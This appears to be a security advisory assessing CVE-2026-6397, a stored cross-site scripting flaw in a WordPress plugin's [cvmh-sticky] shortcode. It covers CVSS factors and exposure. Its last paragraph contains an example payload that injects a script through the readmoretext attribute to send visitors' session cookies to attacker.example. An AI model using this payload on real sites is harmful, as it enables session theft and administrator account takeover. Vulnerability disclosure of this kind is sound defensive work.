WordPress Sticky CVE-2026-6397

Exploitation requires a valid WordPress account with at minimum Contributor-level privileges - CVSS PR:L confirms low-privilege authentication is mandatory, and unauthenticated exploitation is not possible. The attacker must have the ability to create or edit posts or pages that include the [cvmh-sticky] shortcode with a custom readmoretext attribute value. Victim-side execution requires only that a user (including an administrator) loads any page containing the injected shortcode during normal browsing - no additional victim interaction is needed beyond the page visit (CVSS UI:N). Limiting factors include: the Contributor access requirement blocks anonymous, subscriber-level, or externally-positioned attackers without valid credentials; sites with closed user registration, no guest posting, and tightly managed contributor accounts face substantially lower realistic risk; and the payload only executes on pages where the [cvmh-sticky] shortcode is actively rendered.

The CVSS 6.4 score with vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N reflects a network-accessible, low-complexity attack requiring only Contributor-level authentication, with scope change indicating cross-context browser execution impact on victims. No EPSS score was provided in the input data, preventing probabilistic exploitation assessment. This vulnerability is not confirmed in CISA KEV and no POC exploit code is referenced in available data. The PR:L (low privilege) requirement is the dominant risk limiter: sites without open user registration, guest posting, or multi-author workflows have substantially lower exposure than high-traffic community WordPress installations. Despite UI:N in the vector (no special victim interaction beyond normal browsing), the attack is not fully opportunistic - it requires a capable contributor account. The S:C scope change elevates the real-world concern because a compromised contributor can silently target administrator sessions. Overall: moderate-to-real priority for multi-author WordPress deployments; lower priority for tightly controlled single-author sites.

An attacker registers or compromises a Contributor-level WordPress account on the target site and creates a new post embedding [cvmh-sticky readmoretext="<script>document.location='https://attacker.example/steal?c='+document.cookie</script>" ] - no public exploit code is referenced, but exploitation requires only basic shortcode and HTML knowledge. Once the post is published or submitted for review, any user including a site administrator who visits the page triggers execution of the injected script in their browser, allowing the attacker to exfiltrate session cookies and impersonate higher-privilege accounts.